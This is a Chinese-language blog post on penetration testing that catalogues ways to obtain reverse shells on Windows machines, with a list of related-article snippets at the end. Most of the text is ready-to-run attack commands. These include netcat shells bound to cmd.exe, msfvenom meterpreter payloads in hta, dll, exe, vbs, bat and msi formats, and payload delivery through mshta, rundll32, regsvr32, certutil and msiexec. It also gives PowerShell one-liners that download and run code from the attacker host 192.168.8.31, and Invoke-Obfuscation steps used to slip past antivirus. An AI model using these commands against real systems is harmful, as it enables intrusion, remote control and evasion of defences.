【內網滲透】windows反彈shell方法大全

2021-02-15 鹹魚不說話

正向shell: 控制端主動發起連接請求去連接被控制端,中間網絡鏈路不存在阻礙。 反向shell(反彈shell): 被控端主動發起連接請求去連接控制端,通常被控端由於防火牆限制、權限不足、埠 被佔用等問題導致被控端不能正常接收發送過來的數據包。

ncnc正向shell

被控端: nc -lvvp 6666 -e cmd.exe 開啟監聽

控制端: nc 192.168.1.62 6666

此原理就是,被控端將cmd.exe重定向到本地的6666埠,控制端主動連接被控端的6666埠,即可獲得shell

nc反彈shell

控制端

nc -lvvp 6666 開啟監聽被控制端 nc.exe -e cmd.exe 192.168.8.31 6666 ·

被控端將cmd.exe重定向到控制端的6666埠,控制端只需要監聽本地的6666埠,即可獲得shell。

mshta.exe

Microsoft HTML Application,用於執行 .hta文件

1. 通過msf的HTA Web Server模塊發起HTA攻擊

use exploit/windows/misc/hta_server
set srvhost 192.168.8.31
run

執行成功後會自動開啟一個http服務,並返回一個url

被控端執行url回彈成功

2. 通過msfvenom生成惡意hta文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6667 -f hta-psh -o 6667.hta

開啟監聽

 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 4444

開啟一個http服務,用於被控制端下載執行hta文件被控制端執行反彈成功

3. 通過Cobaltstrike生成惡意HTA文件

生成一個hta文件,然後開一個http的服務成功後返回一個url,同理使用 mshta.exe執行即可

rundll32.exe

Rundll32.exe與Windows作業系統相關,它允許調用從DLL導出的函數(16位或32位),並將其存儲在適當的內存庫中。

1. 通過msf的SMB Delivery模塊

use exploit/windows/smb/smb_delivery
set srvhost 192.168.8.31
run -j

注意這裡需要sudo權限執行msf,這裡會返回一個url

被控制端執行

rundll32.exe \\192.168.8.31\jVYTL\test.dll,0

這個模塊的smb版本太低了,所以win10運行會失敗,如果被控制端是win7則是ok的,這裡就不再演示了。

2. 通過msfvenom生成反彈shell的dll

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6668 -f dll > 6668.dll

在這裡插入圖片描述

msf進行埠的監聽將dll文件下載到被控制端,並用rundll32.exe執行

rundll32.exe shell32.dll,Control_RunDLL C:\Users\asus\Desktop\6668.dll

在這裡插入圖片描述利用rundll32.exe加載hta反彈shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6669 -f hta-psh > 6669.hta

msf開啟監聽,下載此文件到被控制端 執行文件 rundll32.exe url.dll OpenURL 6669.hta反彈成功

Regsvr32.exe

Regsvr32.exe是一個命令行應用程式,用於註冊和註銷OLE控制項,如Windows註冊表中的dll和ActiveX控制項。Regsvr32.exe安裝在Windows XP和Windows後續版本的 %systemroot%\System32 文件夾中。

語法如下

通過msf的Web Delivery模塊啟動Regsvr32.exe

use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 192.168.8.31
msf exploit (web_delivery)> set target 3
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.8.31
msf exploit (web_delivery)> exploit –j

被控制端執行這條命令反彈成功

Certutil.exe

Certutil.exe是作為證書服務的一部分安裝的命令行程序。我們可以使用此工具在目標計算機中執行惡意的exe文 件以獲得meterpreter會話。

msfvenom生成惡意exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7001 -f exe > 7001.exe開啟http服務用於下載惡意文件 然後通過certuil下載並執行文件

certutil.exe -urlcache -split -f http://192.168.8.31:8000/7001.exe 7001.exe
./7001.exe

·反彈成功清除日誌 certutil.exe -urlcache -split -f http://192.168.8.31:8000/shell.exe delete

powershell通過powershell發動powercat攻擊

powercat是powershell本地後門偵聽器和反向shell工具,也稱為修改版本的netcat,集成支持經過編碼的有效載荷。

下載地址

下載之後開啟http服務,用於遠程加載powercat文件 控制端監聽埠

被控制端執行,轉發cmd命令到7002埠

 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/powercat.ps1');powercat -c 192.168.8.31 -p 7002 -e cmd"

反彈成功

通過Web Delivery反彈shell

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run -j

被控制端執行相應的命令即可反彈成功

通過powershell啟動cscript.exe

powershell允許客戶端通過執行cscript.exe來運行wsf、js、vbscript腳本。

msfvenom生成惡意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7003 -f vbs -o 7003.vbs開啟一個http服務,然後開啟一個handler監聽 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7003被控制端執行

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.8.31:8000/7003.vbs','C:\Users\asus\Desktop\7003.vbs');Start-Process C:\Windows\System32\cscript.exe C:\Users\asus\Desktop\7003.vbs"

回彈成功

通過powershell啟動bat文件

powershell允許客戶端執行bat文件

通過msfvenom生成bat惡意文件

msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.831 lport=7004 -o 7004.bat

在這裡插入圖片描述

msf開啟監聽,然後開啟http服務用於被控制端下載惡意文件 handler -p cmd/windows/powershell_reverse_tcp -H 192.168.8.31 -P 7004

被控制端執行惡意文件 powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/7004.bat')" 反彈成功

通過powershell啟動exe文件

msfvenom生成惡意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7006 -f exe -o 7006.exemsf開啟監聽 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7006

執行惡意文件,下面兩種方式都可以

powershell (new-object
System.Net.WebClient).DownloadFile('http://192.168.8.31:8000/7006.exe','1.exe');start 1.exe


powershell -ep bypass -nop -w hidden (new-object
system.net.webclient).downloadfile('http://192.168.8.31:8000/7006.exe','1.exe');start-process 1.exe

在這裡插入圖片描述

反彈成功

msiexec.exe

這是Windows Installer的一部分,用於安裝Windows Installer安裝包(MSI)

生成惡意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7005 -f mis 7005.msi

msf開啟監聽,同時開啟http服務用於下載惡意文件

執行惡意文件 msiexec /q /i http://192.168.8.31:8000/7005.msi這個先佔個坑吧,沒查出來有要怎麼解決

Powershell代碼混淆

這裡主要介紹Invoke-Obfuscation這款工具,可以去github上下載,傳送門

啟動Invoke-Obfuscation

powershell -ep bypass
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

先用msfvenom生成一個ps1文件 sfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7007 --arch x64 --platform wiindows -f psh-reflection -o 7007.ps1

啟動完成過後,設置混淆腳本代碼的位置 set scriptpath C:\Users\asus\Desktop\7007.ps1選擇混淆方式為 TOKEN\ALL\1保存混淆之後的腳本 out out.ps1

執行混淆後的文件,反彈成功了,火絨沒攔截

總結

主要就是通過msfvenom生成惡意文件,然後想辦法傳到被控制端,通過相應的軟體執行惡意文件。

相關焦點

  • Metasploit和Cobaltstrike內網域滲透分析(實戰總結)
    掌握了常見的攻擊手段、思路、方法以及工具的熟練使用,在此做個總結與大家分享。一、測試環境搭建靶場常見的網絡拓撲環境如下:web伺服器安裝有雙網卡,一塊網卡連接網際網路,一塊網卡連接內網,內網裡的機器是無法直接連接網際網路的。
  • 滲透測試:滲透某大學從弱口令到 docker 逃逸
    橫向移動在內網滲透中,當攻擊者獲取到內網某臺機器的控制權後,會以被攻陷的主機為跳板,通過收集域內憑證等各種方法,訪問域內其他機器,進一步擴大資產範圍
  • 滲透測試內網--WMI命令
    這些啟動方法可以在本地使用,也可以通過.NET Server終端服務會話使用。  第一次執行WMIC命令時,Windows首先要安裝WMIC,然後顯示出WMIC的命令行提示符。在WMIC命令行提示符上,命令以交互的方式執行。命令 例子 說明  /? 或 -? 顯示所有全局開關和別名的語法  / /? /user /?
  • 內網滲透之域滲透命令執行總結
    在域滲透場景中,我們已經進入內網,會遇到大量的開放埠和服務,弱密碼空密碼,這個時候我們可以使用它們已經開啟的服務選擇對應的方式進行命令執行。本文對ad域滲透中常見的命令執行方式進行一個總結。前提開啟windows Event log服務,開啟Task Scheduler服務其餘條件同ipc123schtasks /create /tn firstTask /tr "c:\windows\system32\cmd.exe /c calc" /sc once /st 00:00 /S 170.170.64.19
  • windows系統安全|Windows滲透基礎大全
    certutil -urlcache -split -f http://114.118.80.138/shell.php  certutil -urlcache -split -f http://114.118.80.138/shell.php c:/users/xie/desktop/shell.php
  • 滲透測試內網滲透之信息收集(二)
    在內網滲透中,前期的信息收集是必不可少,獲取主機的關鍵信息
  • 記錄一次內網滲透詳細過程
    環境是模擬的目標IP192.168.31.102  該web主機下  有兩臺虛擬機滲透目標:拿到虛擬機的shell
  • Frp內網穿透實戰
    此時為了內網橫向滲透與團隊間的協同作戰,可以利用Frp在該機器與VPS之間建立一條「專屬通道」,並藉助這條通道達到內網穿透的效果。實戰中更多時候依靠 Socks5 。更多詳細使用方法,可查看官方Github,這裡不再贅述。https://github.com/fatedier/frp/前期準備先準備一臺VPS與域名。
  • 記:內網滲透
    Mshta 反彈 shell嘗試各種命令但是發現回顯太慢,未找到web路徑,無法寫web馬、exe馬,這裡嘗試使用hta文件。➜ ~ sqlmap -r /Users/apple/Desktop/1.txt --os-shellmsf啟動msf6 exploit(windows/misc/hta_server) > run[*] Exploit running as background job 0.
  • 【實戰】神器Metasploit滲透Windows步驟解析教程
    MS08-067是一個對作業系統版本依賴非常高的漏洞,所以在這裡,我們只需要手動指定一下目標就可以確保觸發正確的溢出代碼。接下來,我們可以輸入「use exploit/windows/smb/ms08_067_netapi ",這條命令是選擇MS08-067漏洞的exploit(漏洞利用模塊),設定攻擊載荷,輸入完後回車
  • 完整的滲透測試實例
    :fe80::ec7d:88c4:723a:e954 內網ip 可能是站庫分離9.4. 多重網段內網滲透10.1.    WIN-KALKEMT3JMA cc123 Ht6_ifp6nvkjnWIN-KALKEMT3JMA newcc123 ZtKGmDj0qEbDECSBl5pWIN-KALKEMT3JMA ww2cc123 xwSggtdWvl42JGHivMX  10.1.5.添加路由進行內網滲透
  • Metasploit滲透測試實驗報告
    2.在滲透過程中逐漸掌握科學的滲透測試方法,即 PTES標準滲透測試方法七個階段:  前期交互階段(跳過)  情報搜集階段  威脅建模階段  漏洞分析階段  滲透攻擊階段  後滲透攻擊階段  報告階段;  3.在滲透測試過程中逐漸清晰滲透所要求掌握的技能,有針對有目的的進行初步學習
  • 安全實驗室 | 內網滲透—Windows權限維持技巧總結
    在滲透測試中最緊張刺激的時間,莫過於攻擊者費盡千辛萬苦終於成功獲取到某臺機器的控制權限之後。
  • 某大學實戰靶場滲透測試完整報告
    (2) 由於進入的是靶機內部網絡,無法在本地訪問192.168.2.244的80埠,所以這時我們要先進行內網穿透後再訪問192.168.2.244的phpMyAdmin進行Getshell。這裡我們採用的內網穿透方式為FRP+Proxifier,在這次打靶中發現這種方式還是比較穩定的。nohup .
  • Windows Smb 重放 [中繼]跨平臺利用 [一]
    ,如果你想直接利用此hash再一併自動獲取那臺windows 2008r2機器的system權限的shell,就需要有個前提,就是這兩臺機器的帳號密碼必須完全一致,不然重放的時候肯定會認證失敗,認證失敗也就意味著沒法登陸,後面的一些列動作自然也就沒法執行了,本文的後續操作會全部側重在在線抓hash而非直接拿shell上,如果真的是實戰利用,個人也不建議直接這樣去拿shell,一來不靠譜[雖然表面上看起來很方便
  • 滲透測試常規操作記錄(中)
    10.1.1.108主機22埠轉發至本機2222埠,攻擊機連接邊界機器2222埠即可訪問內網SSH反彈MSF靶機PS >IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.100/powersploit/CodeExecution/Invoke-Shellcode.ps1') PS >Invoke-Shellcode -payload windows/meterpreter/reverse_http -lhost
  • Linux下幾種常見的反彈shell方式的總結
    ,然後在被攻擊者的機器上發送連接請求去連接我們的機器,將被攻擊者的shell反彈到我們的機器上。常見四種方式linux命令反彈shellpython反彈nc反彈shellphp反彈shell‍‍‍‍‍‍‍‍‍‍‍‍bash一句話命令詳解以下針對常用的bash
  • 域滲透總結
    在一定條件下pth也可以用於遠程桌面登錄,細節看三好學生師傅文章)ptk上文中提到可以使用pth(pass the hash)來完成對內網的滲透拓展,控制其他主機,微軟在12年發布了針對pth的補丁KBb2871997,打了補丁以後常規的攻擊無法復現,但是忽略了默認的Administrator(SID 500),只要用戶的SID為500,就可以用該帳戶進行攻擊。
  • 大牛傳經:滲透測試的經驗小記
    滲透中常見的幾個問題1、防火牆穿透2、木馬免殺穿透3、內網信息收集及目標定位滲透,顧名思義已經獲取到目標的部分權限,需要進一步擴大戰果了,這裡會遇到各種各樣的問題,比如信息收集,比如目標的查找,比如文件下載的方式,比如等等首先說防火牆穿透,現在的業務環境各種ids,各種ngxxx,各種waf,isa
  • 【HTB系列】靶機Access的滲透測試詳解
    Hack The Box是一個CTF挑戰靶機平臺,在線滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。powershell正常的,那我們本地搭建一個簡易的HTTP伺服器放上我們的powershell反彈shell腳本,讓靶機進行遠程下載執行反彈一個shell。